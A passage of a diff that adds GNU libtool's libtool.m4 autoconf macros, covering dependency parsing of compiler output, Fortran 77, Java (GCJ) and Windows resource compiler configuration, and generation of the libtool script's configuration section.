+ifelse([$1],[],[cat > conftest.$ac_ext <<EOF
+int a;
+void foo (void) { a = 0; }
+EOF
+],[$1],[CXX],[cat > conftest.$ac_ext <<EOF
+class Foo
+{
+public:
+  Foo (void) { a = 0; }
+private:
+  int a;
+};
+EOF
+],[$1],[F77],[cat > conftest.$ac_ext <<EOF
+      subroutine foo
+      implicit none
+      integer*4 a
+      a=0
+      return
+      end
+EOF
+],[$1],[GCJ],[cat > conftest.$ac_ext <<EOF
+public class foo {
+  private int a;
+  public void bar (void) {
+    a = 0;
+  }
+};
+EOF
+])
+dnl Parse the compiler output and extract the necessary
+dnl objects, libraries and library flags.
+if AC_TRY_EVAL(ac_compile); then
+  # Parse the compiler output and extract the necessary
+  # objects, libraries and library flags.
+
+  # Sentinel used to keep track of whether or not we are before
+  # the conftest object file.
+  pre_test_object_deps_done=no
+
+  # The `*' in the case matches for architectures that use `case' in
+  # $output_verbose_cmd can trigger glob expansion during the loop
+  # eval without this substitution.
+  output_verbose_link_cmd=`$echo "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
+
+  for p in `eval $output_verbose_link_cmd`; do
+    case $p in
+
+    -L* | -R* | -l*)
+       # Some compilers place space between "-{L,R}" and the path.
+       # Remove the space.
+       if test $p = "-L" \
+	  || test $p = "-R"; then
+	 prev=$p
+	 continue
+       else
+	 prev=
+       fi
+
+       if test "$pre_test_object_deps_done" = no; then
+	 case $p in
+	 -L* | -R*)
+	   # Internal compiler library paths should come after those
+	   # provided the user.  The postdeps already come after the
+	   # user supplied libs so there is no need to process them.
+	   if test -z "$_LT_AC_TAGVAR(compiler_lib_search_path, $1)"; then
+	     _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${prev}${p}"
+	   else
+	     _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${_LT_AC_TAGVAR(compiler_lib_search_path, $1)} ${prev}${p}"
+	   fi
+	   ;;
+	 # The "-l" case would never come before the object being
+	 # linked, so don't bother handling this case.
+	 esac
+       else
+	 if test -z "$_LT_AC_TAGVAR(postdeps, $1)"; then
+	   _LT_AC_TAGVAR(postdeps, $1)="${prev}${p}"
+	 else
+	   _LT_AC_TAGVAR(postdeps, $1)="${_LT_AC_TAGVAR(postdeps, $1)} ${prev}${p}"
+	 fi
+       fi
+       ;;
+
+    *.$objext)
+       # This assumes that the test object file only shows up
+       # once in the compiler output.
+       if test "$p" = "conftest.$objext"; then
+	 pre_test_object_deps_done=yes
+	 continue
+       fi
+
+       if test "$pre_test_object_deps_done" = no; then
+	 if test -z "$_LT_AC_TAGVAR(predep_objects, $1)"; then
+	   _LT_AC_TAGVAR(predep_objects, $1)="$p"
+	 else
+	   _LT_AC_TAGVAR(predep_objects, $1)="$_LT_AC_TAGVAR(predep_objects, $1) $p"
+	 fi
+       else
+	 if test -z "$_LT_AC_TAGVAR(postdep_objects, $1)"; then
+	   _LT_AC_TAGVAR(postdep_objects, $1)="$p"
+	 else
+	   _LT_AC_TAGVAR(postdep_objects, $1)="$_LT_AC_TAGVAR(postdep_objects, $1) $p"
+	 fi
+       fi
+       ;;
+
+    *) ;; # Ignore the rest.
+
+    esac
+  done
+
+  # Clean up.
+  rm -f a.out a.exe
+else
+  echo "libtool.m4: error: problem compiling $1 test program"
+fi
+
+$rm -f confest.$objext
+
+# PORTME: override above test on systems where it is broken
+ifelse([$1],[CXX],
+[case $host_os in
+interix3*)
+  # Interix 3.5 installs completely hosed .la files for C++, so rather than
+  # hack all around it, let's just trust "g++" to DTRT.
+  _LT_AC_TAGVAR(predep_objects,$1)=
+  _LT_AC_TAGVAR(postdep_objects,$1)=
+  _LT_AC_TAGVAR(postdeps,$1)=
+  ;;
+
+solaris*)
+  case $cc_basename in
+  CC*)
+    # Adding this requires a known-good setup of shared libraries for
+    # Sun compiler versions before 5.6, else PIC objects from an old
+    # archive will be linked into the output, leading to subtle bugs.
+    _LT_AC_TAGVAR(postdeps,$1)='-lCstd -lCrun'
+    ;;
+  esac
+  ;;
+esac
+])
+
+case " $_LT_AC_TAGVAR(postdeps, $1) " in
+*" -lc "*) _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no ;;
+esac
+])# AC_LIBTOOL_POSTDEP_PREDEP
+
+# AC_LIBTOOL_LANG_F77_CONFIG
+# --------------------------
+# Ensure that the configuration vars for the C compiler are
+# suitably defined.  Those variables are subsequently used by
+# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
+AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG], [_LT_AC_LANG_F77_CONFIG(F77)])
+AC_DEFUN([_LT_AC_LANG_F77_CONFIG],
+[AC_REQUIRE([AC_PROG_F77])
+AC_LANG_PUSH(Fortran 77)
+
+_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+_LT_AC_TAGVAR(allow_undefined_flag, $1)=
+_LT_AC_TAGVAR(always_export_symbols, $1)=no
+_LT_AC_TAGVAR(archive_expsym_cmds, $1)=
+_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
+_LT_AC_TAGVAR(hardcode_direct, $1)=no
+_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
+_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
+_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
+_LT_AC_TAGVAR(hardcode_minus_L, $1)=no
+_LT_AC_TAGVAR(hardcode_automatic, $1)=no
+_LT_AC_TAGVAR(module_cmds, $1)=
+_LT_AC_TAGVAR(module_expsym_cmds, $1)=
+_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
+_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
+_LT_AC_TAGVAR(no_undefined_flag, $1)=
+_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
+_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
+
+# Source file extension for f77 test sources.
+ac_ext=f
+
+# Object file extension for compiled f77 test sources.
+objext=o
+_LT_AC_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code="      subroutine t\n      return\n      end\n"
+
+# Code to be used in simple link tests
+lt_simple_link_test_code="      program t\n      end\n"
+
+# ltmain only uses $CC for tagged configurations so make sure $CC is set.
+_LT_AC_SYS_COMPILER
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+# Allow CC to be a program name with arguments.
+lt_save_CC="$CC"
+CC=${F77-"f77"}
+compiler=$CC
+_LT_AC_TAGVAR(compiler, $1)=$CC
+_LT_CC_BASENAME([$compiler])
+
+AC_MSG_CHECKING([if libtool supports shared libraries])
+AC_MSG_RESULT([$can_build_shared])
+
+AC_MSG_CHECKING([whether to build shared libraries])
+test "$can_build_shared" = "no" && enable_shared=no
+
+# On AIX, shared libraries and static libraries use the same namespace, and
+# are all built from PIC.
+case $host_os in
+aix3*)
+  test "$enable_shared" = yes && enable_static=no
+  if test -n "$RANLIB"; then
+    archive_cmds="$archive_cmds~\$RANLIB \$lib"
+    postinstall_cmds='$RANLIB $lib'
+  fi
+  ;;
+aix4* | aix5*)
+  if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
+    test "$enable_shared" = yes && enable_static=no
+  fi
+  ;;
+esac
+AC_MSG_RESULT([$enable_shared])
+
+AC_MSG_CHECKING([whether to build static libraries])
+# Make sure either enable_shared or enable_static is yes.
+test "$enable_shared" = yes || enable_static=yes
+AC_MSG_RESULT([$enable_static])
+
+_LT_AC_TAGVAR(GCC, $1)="$G77"
+_LT_AC_TAGVAR(LD, $1)="$LD"
+
+AC_LIBTOOL_PROG_COMPILER_PIC($1)
+AC_LIBTOOL_PROG_CC_C_O($1)
+AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
+AC_LIBTOOL_PROG_LD_SHLIBS($1)
+AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
+AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
+
+AC_LIBTOOL_CONFIG($1)
+
+AC_LANG_POP
+CC="$lt_save_CC"
+])# AC_LIBTOOL_LANG_F77_CONFIG
+
+
+# AC_LIBTOOL_LANG_GCJ_CONFIG
+# --------------------------
+# Ensure that the configuration vars for the C compiler are
+# suitably defined.  Those variables are subsequently used by
+# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
+AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG], [_LT_AC_LANG_GCJ_CONFIG(GCJ)])
+AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG],
+[AC_LANG_SAVE
+
+# Source file extension for Java test sources.
+ac_ext=java
+
+# Object file extension for compiled Java test sources.
+objext=o
+_LT_AC_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code="class foo {}\n"
+
+# Code to be used in simple link tests
+lt_simple_link_test_code='public class conftest { public static void main(String[[]] argv) {}; }\n'
+
+# ltmain only uses $CC for tagged configurations so make sure $CC is set.
+_LT_AC_SYS_COMPILER
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+# Allow CC to be a program name with arguments.
+lt_save_CC="$CC"
+CC=${GCJ-"gcj"}
+compiler=$CC
+_LT_AC_TAGVAR(compiler, $1)=$CC
+_LT_CC_BASENAME([$compiler])
+
+# GCJ did not exist at the time GCC didn't implicitly link libc in.
+_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+
+_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
+
+AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1)
+AC_LIBTOOL_PROG_COMPILER_PIC($1)
+AC_LIBTOOL_PROG_CC_C_O($1)
+AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
+AC_LIBTOOL_PROG_LD_SHLIBS($1)
+AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
+AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
+
+AC_LIBTOOL_CONFIG($1)
+
+AC_LANG_RESTORE
+CC="$lt_save_CC"
+])# AC_LIBTOOL_LANG_GCJ_CONFIG
+
+
+# AC_LIBTOOL_LANG_RC_CONFIG
+# -------------------------
+# Ensure that the configuration vars for the Windows resource compiler are
+# suitably defined.  Those variables are subsequently used by
+# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
+AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG], [_LT_AC_LANG_RC_CONFIG(RC)])
+AC_DEFUN([_LT_AC_LANG_RC_CONFIG],
+[AC_LANG_SAVE
+
+# Source file extension for RC test sources.
+ac_ext=rc
+
+# Object file extension for compiled RC test sources.
+objext=o
+_LT_AC_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n'
+
+# Code to be used in simple link tests
+lt_simple_link_test_code="$lt_simple_compile_test_code"
+
+# ltmain only uses $CC for tagged configurations so make sure $CC is set.
+_LT_AC_SYS_COMPILER
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+# Allow CC to be a program name with arguments.
+lt_save_CC="$CC"
+CC=${RC-"windres"}
+compiler=$CC
+_LT_AC_TAGVAR(compiler, $1)=$CC
+_LT_CC_BASENAME([$compiler])
+_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
+
+AC_LIBTOOL_CONFIG($1)
+
+AC_LANG_RESTORE
+CC="$lt_save_CC"
+])# AC_LIBTOOL_LANG_RC_CONFIG
+
+
+# AC_LIBTOOL_CONFIG([TAGNAME])
+# ----------------------------
+# If TAGNAME is not passed, then create an initial libtool script
+# with a default configuration from the untagged config vars.  Otherwise
+# add code to config.status for appending the configuration named by
+# TAGNAME from the matching tagged config vars.
+AC_DEFUN([AC_LIBTOOL_CONFIG],
+[# The else clause should only fire when bootstrapping the
+# libtool distribution, otherwise you forgot to ship ltmain.sh
+# with your package, and you will get complaints that there are
+# no rules to generate ltmain.sh.
+if test -f "$ltmain"; then
+  # See if we are running on zsh, and set the options which allow our commands through
+  # without removal of \ escapes.
+  if test -n "${ZSH_VERSION+set}" ; then
+    setopt NO_GLOB_SUBST
+  fi
+  # Now quote all the things that may contain metacharacters while being
+  # careful not to overquote the AC_SUBSTed values.  We take copies of the
+  # variables and quote the copies for generation of the libtool script.
+  for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
+    SED SHELL STRIP \
+    libname_spec library_names_spec soname_spec extract_expsyms_cmds \
+    old_striplib striplib file_magic_cmd finish_cmds finish_eval \
+    deplibs_check_method reload_flag reload_cmds need_locks \
+    lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
+    lt_cv_sys_global_symbol_to_c_name_address \
+    sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
+    old_postinstall_cmds old_postuninstall_cmds \
+    _LT_AC_TAGVAR(compiler, $1) \
+    _LT_AC_TAGVAR(CC, $1) \
+    _LT_AC_TAGVAR(LD, $1) \
+    _LT_AC_TAGVAR(lt_prog_compiler_wl, $1) \
+    _LT_AC_TAGVAR(lt_prog_compiler_pic, $1) \
+    _LT_AC_TAGVAR(lt_prog_compiler_static, $1) \
+    _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) \
+    _LT_AC_TAGVAR(export_dynamic_flag_spec, $1) \
+    _LT_AC_TAGVAR(thread_safe_flag_spec, $1) \
+    _LT_AC_TAGVAR(whole_archive_flag_spec, $1) \
+    _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1) \
+    _LT_AC_TAGVAR(old_archive_cmds, $1) \
+    _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) \
+    _LT_AC_TAGVAR(predep_objects, $1) \
+    _LT_AC_TAGVAR(postdep_objects, $1) \
+    _LT_AC_TAGVAR(predeps, $1) \
+    _LT_AC_TAGVAR(postdeps, $1) \
+    _LT_AC_TAGVAR(compiler_lib_search_path, $1) \
+    _LT_AC_TAGVAR(archive_cmds, $1) \
+    _LT_AC_TAGVAR(archive_expsym_cmds, $1) \
+    _LT_AC_TAGVAR(postinstall_cmds, $1) \
+    _LT_AC_TAGVAR(postuninstall_cmds, $1) \
+    _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) \
+    _LT_AC_TAGVAR(allow_undefined_flag, $1) \
+    _LT_AC_TAGVAR(no_undefined_flag, $1) \
+    _LT_AC_TAGVAR(export_symbols_cmds, $1) \
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) \
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1) \
+    _LT_AC_TAGVAR(hardcode_libdir_separator, $1) \
+    _LT_AC_TAGVAR(hardcode_automatic, $1) \
+    _LT_AC_TAGVAR(module_cmds, $1) \
+    _LT_AC_TAGVAR(module_expsym_cmds, $1) \
+    _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) \
+    _LT_AC_TAGVAR(exclude_expsyms, $1) \
+    _LT_AC_TAGVAR(include_expsyms, $1); do
+
+    case $var in
+    _LT_AC_TAGVAR(old_archive_cmds, $1) | \
+    _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) | \
+    _LT_AC_TAGVAR(archive_cmds, $1) | \
+    _LT_AC_TAGVAR(archive_expsym_cmds, $1) | \
+    _LT_AC_TAGVAR(module_cmds, $1) | \
+    _LT_AC_TAGVAR(module_expsym_cmds, $1) | \
+    _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) | \
+    _LT_AC_TAGVAR(export_symbols_cmds, $1) | \
+    extract_expsyms_cmds | reload_cmds | finish_cmds | \
+    postinstall_cmds | postuninstall_cmds | \
+    old_postinstall_cmds | old_postuninstall_cmds | \
+    sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
+      # Double-quote double-evaled strings.
+      eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
+      ;;
+    *)
+      eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
+      ;;
+    esac
+  done
+
+  case $lt_echo in
+  *'\[$]0 --fallback-echo"')
+    lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\[$]0 --fallback-echo"[$]/[$]0 --fallback-echo"/'`
+    ;;
+  esac
+
+ifelse([$1], [],
+  [cfgfile="${ofile}T"
+  trap "$rm \"$cfgfile\"; exit 1" 1 2 15
+  $rm -f "$cfgfile"
+  AC_MSG_NOTICE([creating $ofile])],
+  [cfgfile="$ofile"])
+
+  cat <<__EOF__ >> "$cfgfile"
+ifelse([$1], [],
+[#! $SHELL
+
+# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
+# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP)
+# NOTE: Changes made to this file will be lost: look at ltmain.sh.
+#
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
+# Free Software Foundation, Inc.
+#
+# This file is part of GNU Libtool:
+# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# A sed program that does not truncate output.
+SED=$lt_SED
+
+# Sed that helps us avoid accidentally triggering echo(1) options like -n.
+Xsed="$SED -e 1s/^X//"
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+# The names of the tagged configurations supported by this script.
+available_tags=
+
+# ### BEGIN LIBTOOL CONFIG],
+[# ### BEGIN LIBTOOL TAG CONFIG: $tagname])
+
+# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
+
+# Shell to use when invoking shell scripts.
+SHELL=$lt_SHELL
+
+# Whether or not to build shared libraries.
+build_libtool_libs=$enable_shared
+
+# Whether or not to build static libraries.
+build_old_libs=$enable_static
+
+# Whether or not to add -lc for building shared libraries.
+build_libtool_need_lc=$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)
+
+# Whether or not to disallow shared libs when runtime libs are static
+allow_libtool_libs_with_static_runtimes=$_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)
+
+# Whether or not to optimize for fast installation.
+fast_install=$enable_fast_install
+
+# The host system.
+host_alias=$host_alias
+host=$host
+host_os=$host_os
+
+# The build system.
+build_alias=$build_alias
+build=$build
+build_os=$build_os
+
+# An echo program that does not interpret backslashes.
+echo=$lt_echo
+
+# The archiver.
+AR=$lt_AR
+AR_FLAGS=$lt_AR_FLAGS
+
+# A C compiler.
+LTCC=$lt_LTCC
+
+# LTCC compiler flags.
+LTCFLAGS=$lt_LTCFLAGS
+
+# A language-specific compiler.
+CC=$lt_[]_LT_AC_TAGVAR(compiler, $1)
+
+# Is the compiler the GNU C compiler?
+with_gcc=$_LT_AC_TAGVAR(GCC, $1)
+
+# An ERE matcher.
+EGREP=$lt_EGREP
+
+# The linker used to build libraries.
+LD=$lt_[]_LT_AC_TAGVAR(LD, $1)
+
+# Whether we need hard or soft links.
+LN_S=$lt_LN_S
+
+# A BSD-compatible nm program.
+NM=$lt_NM
+
+# A symbol stripping program
+STRIP=$lt_STRIP
+
+# Used to examine libraries when file_magic_cmd begins "file"
+MAGIC_CMD=$MAGIC_CMD
+
+# Used on cygwin: DLL creation program.
+DLLTOOL="$DLLTOOL"
+
+# Used on cygwin: object dumper.
+OBJDUMP="$OBJDUMP"
+
+# Used on cygwin: assembler.
+AS="$AS"
+
+# The name of the directory that contains temporary libtool files.
+objdir=$objdir
+
+# How to create reloadable object files.
+reload_flag=$lt_reload_flag
+reload_cmds=$lt_reload_cmds
+
+# How to pass a linker flag through the compiler.
+wl=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)
+
+# Object file suffix (normally "o").
+objext="$ac_objext"
+
+# Old archive suffix (normally "a").
+libext="$libext"
+
+# Shared library suffix (normally ".so").
+shrext_cmds='$shrext_cmds'
+
+# Executable file suffix (normally "").
+exeext="$exeext"
+
+# Additional compiler flags for building library objects.
+pic_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)
+pic_mode=$pic_mode
+
+# What is the maximum length of a command?
+max_cmd_len=$lt_cv_sys_max_cmd_len
+
+# Does compiler simultaneously support -c and -o options?
+compiler_c_o=$lt_[]_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)
+
+# Must we lock files when doing compilation?
+need_locks=$lt_need_locks
+
+# Do we need the lib prefix for modules?
+need_lib_prefix=$need_lib_prefix
+
+# Do we need a version for libraries?
+need_version=$need_version
+
+# Whether dlopen is supported.
+dlopen_support=$enable_dlopen
+
+# Whether dlopen of programs is supported.
+dlopen_self=$enable_dlopen_self
+
+# Whether dlopen of statically linked programs is supported.
+dlopen_self_static=$enable_dlopen_self_static
+
+# Compiler flag to prevent dynamic linking.
+link_static_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_static, $1)
+
+# Compiler flag to turn off builtin functions.
+no_builtin_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)
+
+# Compiler flag to allow reflexive dlopens.
+export_dynamic_flag_spec=$lt_[]_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)
+
+# Compiler flag to generate shared objects directly from archives.
+whole_archive_flag_spec=$lt_[]_LT_AC_TAGVAR(whole_archive_flag_spec, $1)
+
+# Compiler flag to generate thread-safe objects.
+thread_safe_flag_spec=$lt_[]_LT_AC_TAGVAR(thread_safe_flag_spec, $1)
+
+# Library versioning type.
+version_type=$version_type
+
+# Format of library name prefix.
+libname_spec=$lt_libname_spec
+
+# List of archive names.  First name is the real one, the rest are links.
+# The last name is the one that the linker finds with -lNAME.
+library_names_spec=$lt_library_names_spec
+
+# The coded name of the library, if different from the real name.
+soname_spec=$lt_soname_spec
+
+# Commands used to build and install an old-style archive.
+RANLIB=$lt_RANLIB
+old_archive_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_cmds, $1)
+old_postinstall_cmds=$lt_old_postinstall_cmds
+old_postuninstall_cmds=$lt_old_postuninstall_cmds
+
+# Create an old-style archive from a shared archive.
+old_archive_from_new_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_new_cmds, $1)
+
+# Create a temporary old-style archive to link instead of a shared archive.
+old_archive_from_expsyms_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)
+
+# Commands used to build and install a shared archive.
+archive_cmds=$lt_[]_LT_AC_TAGVAR(archive_cmds, $1)
+archive_expsym_cmds=$lt_[]_LT_AC_TAGVAR(archive_expsym_cmds, $1)
+postinstall_cmds=$lt_postinstall_cmds
+postuninstall_cmds=$lt_postuninstall_cmds
+
+# Commands used to build a loadable module (assumed same as above if empty)
+module_cmds=$lt_[]_LT_AC_TAGVAR(module_cmds, $1)
+module_expsym_cmds=$lt_[]_LT_AC_TAGVAR(module_expsym_cmds, $1)
+
+# Commands to strip libraries.
+old_striplib=$lt_old_striplib
+striplib=$lt_striplib
+
+# Dependencies to place before the objects being linked to create a
+# shared library.
+predep_objects=$lt_[]_LT_AC_TAGVAR(predep_objects, $1)
+
+# Dependencies to place after the objects being linked to create a
+# shared library.
+postdep_objects=$lt_[]_LT_AC_TAGVAR(postdep_objects, $1)
+
+# Dependencies to place before the objects being linked to create a
+# shared library.
+predeps=$lt_[]_LT_AC_TAGVAR(predeps, $1)
+
+# Dependencies to place after the objects being linked to create a
+# shared library.
+postdeps=$lt_[]_LT_AC_TAGVAR(postdeps, $1)
+
+# The library search path used internally by the compiler when linking
+# a shared library.
+compiler_lib_search_path=$lt_[]_LT_AC_TAGVAR(compiler_lib_search_path, $1)
+
+# Method to check whether dependent libraries are shared objects.
+deplibs_check_method=$lt_deplibs_check_method
+
+# Command to use when deplibs_check_method == file_magic.
+file_magic_cmd=$lt_file_magic_cmd
+
+# Flag that allows shared libraries with undefined symbols to be built.
+allow_undefined_flag=$lt_[]_LT_AC_TAGVAR(allow_undefined_flag, $1)
+
+# Flag that forces no undefined symbols.
+no_undefined_flag=$lt_[]_LT_AC_TAGVAR(no_undefined_flag, $1)
+
+# Commands used to finish a libtool library installation in a directory.
+finish_cmds=$lt_finish_cmds
+
+# Same as above, but a single script fragment to be evaled but not shown.
+finish_eval=$lt_finish_eval
+
+# Take the output of nm and produce a listing of raw symbols and C names.
+global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
+
+# Transform the output of nm in a proper C declaration
+global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
+
+# Transform the output of nm in a C name address pair
+global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+
+# This is the shared library runtime path variable.
+runpath_var=$runpath_var
+
+# This is the shared library path variable.
+shlibpath_var=$shlibpath_var
+
+# Is shlibpath searched before the hard-coded library search path?
+shlibpath_overrides_runpath=$shlibpath_overrides_runpath
+
+# How to hardcode a shared library path into an executable.
+hardcode_action=$_LT_AC_TAGVAR(hardcode_action, $1)
+
+# Whether we should hardcode library paths into libraries.
+hardcode_into_libs=$hardcode_into_libs
+
+# Flag to hardcode \$libdir into a binary during linking.
+# This must work even if \$libdir does not exist.
+hardcode_libdir_flag_spec=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)
+
+# If ld is used when linking, flag to hardcode \$libdir into
+# a binary during linking. This must work even if \$libdir does
+# not exist.
+hardcode_libdir_flag_spec_ld=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)
+
+# Whether we need a single -rpath flag with a separated argument.
+hardcode_libdir_separator=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_separator, $1)
+
+# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
+# resulting binary.
+hardcode_direct=$_LT_AC_TAGVAR(hardcode_direct, $1)
+
+# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
+# resulting binary.
+hardcode_minus_L=$_LT_AC_TAGVAR(hardcode_minus_L, $1)
+
+# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
+# the resulting binary.
+hardcode_shlibpath_var=$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)
+
+# Set to yes if building a shared library automatically hardcodes DIR into the library
+# and all subsequent libraries and executables linked against it.
+hardcode_automatic=$_LT_AC_TAGVAR(hardcode_automatic, $1)
+
+# Variables whose values should be saved in libtool wrapper scripts and
+# restored at relink time.
+variables_saved_for_relink="$variables_saved_for_relink"
+
+# Whether libtool must link a program against all its dependency libraries.
+link_all_deplibs=$_LT_AC_TAGVAR(link_all_deplibs, $1)
+
+# Compile-time system search path for libraries
+sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
+
+# Run-time system search path for libraries
+sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
+
+# Fix the shell variable \$srcfile for the compiler.
+fix_srcfile_path="$_LT_AC_TAGVAR(fix_srcfile_path, $1)"
+
+# Set to yes if exported symbols are required.
+always_export_symbols=$_LT_AC_TAGVAR(always_export_symbols, $1)
+
+# The commands to list exported symbols.
+export_symbols_cmds=$lt_[]_LT_AC_TAGVAR(export_symbols_cmds, $1)
+
+# The commands to extract the exported symbol list from a shared archive.
+extract_expsyms_cmds=$lt_extract_expsyms_cmds
+
+# Symbols that should not be listed in the preloaded symbols.
+exclude_expsyms=$lt_[]_LT_AC_TAGVAR(exclude_expsyms, $1)
+
+# Symbols that must always be exported.
+include_expsyms=$lt_[]_LT_AC_TAGVAR(include_expsyms, $1)
+
+ifelse([$1],[],
+[# ### END LIBTOOL CONFIG],
+[# ### END LIBTOOL TAG CONFIG: $tagname])
+
+__EOF__
+
+ifelse([$1],[], [
+  case $host_os in
+  aix3*)
+    cat <<\EOF >> "$cfgfile"
+
+# AIX sometimes has problems with the GCC collect2 program.  For some
+# reason, if we set the COLLECT_NAMES environment variable, the problems
+# vanish in a puff of smoke.
+if test "X${COLLECT_NAMES+set}" != Xset; then
+  COLLECT_NAMES=
+  export COLLECT_NAMES
+fi
+EOF
+    ;;
+  esac
+
+  # We use sed instead of cat because bash on DJGPP gets confused if
+  # if finds mixed CR/LF and LF-only lines.  Since sed operates in
+  # text mode, it properly converts lines to CR/LF.  This bash problem
+  # is reportedly fixed, but why not run on old versions too?
+  sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1)
+
+  mv -f "$cfgfile" "$ofile" || \
+    (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+  chmod +x "$ofile"
+])
+else
+  # If there is no Makefile yet, we rely on a make rule to execute
+  # `config.status --recheck' to rerun these tests and create the
+  # libtool script then.
+  ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
+  if test -f "$ltmain_in"; then
